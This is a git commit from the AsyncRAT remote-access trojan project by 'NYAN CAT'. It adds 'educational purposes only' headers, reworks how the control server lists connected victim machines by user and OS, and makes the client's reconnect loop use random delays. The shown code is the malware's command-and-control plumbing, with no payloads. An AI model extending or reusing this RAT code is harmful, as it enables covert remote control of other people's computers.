This commit is contained in:
NYAN CAT 2019-01-24 10:57:36 -08:00
parent 23539823ef
commit 2423f34a17
4 changed files with 32 additions and 14 deletions

View File

@ -6,6 +6,13 @@ using System.Threading.Tasks;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
using System.Linq; using System.Linq;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket
// Contact Me : https://github.com/NYAN-x-CAT
// This program Is distributed for educational purposes only.
namespace AsyncRAT_Sharp namespace AsyncRAT_Sharp
{ {
public partial class Form1 : Form public partial class Form1 : Form

View File

@ -8,7 +8,6 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
class HandlePacket class HandlePacket
{ {
public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data);
public static void Read(Clients client, byte[] data) public static void Read(Clients client, byte[] data)
{ {
try try
@ -18,11 +17,9 @@ namespace AsyncRAT_Sharp.Handle_Packet
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
case "ClientInfo": case "ClientInfo":
if (Program.form1.listView1.InvokeRequired) if (Program.form1.listView1.InvokeRequired)
{ {
Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data }); Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
}
else
{ {
client.LV = new ListViewItem(); client.LV = new ListViewItem();
client.LV.Tag = client; client.LV.Tag = client;
@ -30,7 +27,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Program.form1.listView1.Items.Insert(0, client.LV); Program.form1.listView1.Items.Insert(0, client.LV);
} }));
}
break; break;
case "Ping": case "Ping":

View File

@ -95,16 +95,16 @@ namespace AsyncRAT_Sharp.Sockets
} }
} }
delegate void _isDisconnected();
public void Disconnected() public void Disconnected()
{ {
if (LV != null) if (LV != null)
{ {
if (Program.form1.listView1.InvokeRequired) if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
else
{ {
LV.Remove(); Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
LV.Remove();
}));
} }
} }
Settings.Online.Remove(this); Settings.Online.Remove(this);

View File

@ -2,12 +2,20 @@
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Devices; using Microsoft.VisualBasic.Devices;
using System; using System;
using System.Diagnostics;
using System.IO; using System.IO;
using System.Net.Sockets; using System.Net.Sockets;
using System.Text; using System.Text;
using System.Threading; using System.Threading;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket
// Contact Me : https://github.com/NYAN-x-CAT
// This program Is distributed for educational purposes only.
namespace Client namespace Client
{ {
class Program class Program
@ -24,7 +32,7 @@ namespace Client
InitializeClient(); InitializeClient();
while (true) while (true)
{ {
Thread.Sleep(1500); Thread.Sleep(1000);
} }
} }
@ -51,7 +59,12 @@ namespace Client
catch catch
{ {
Console.WriteLine("Disconnected!"); Console.WriteLine("Disconnected!");
Thread.Sleep(2500); Thread.Sleep(new Random().Next(5000));
try
{
client.Dispose();
}
catch { }
InitializeClient(); InitializeClient();
} }
} }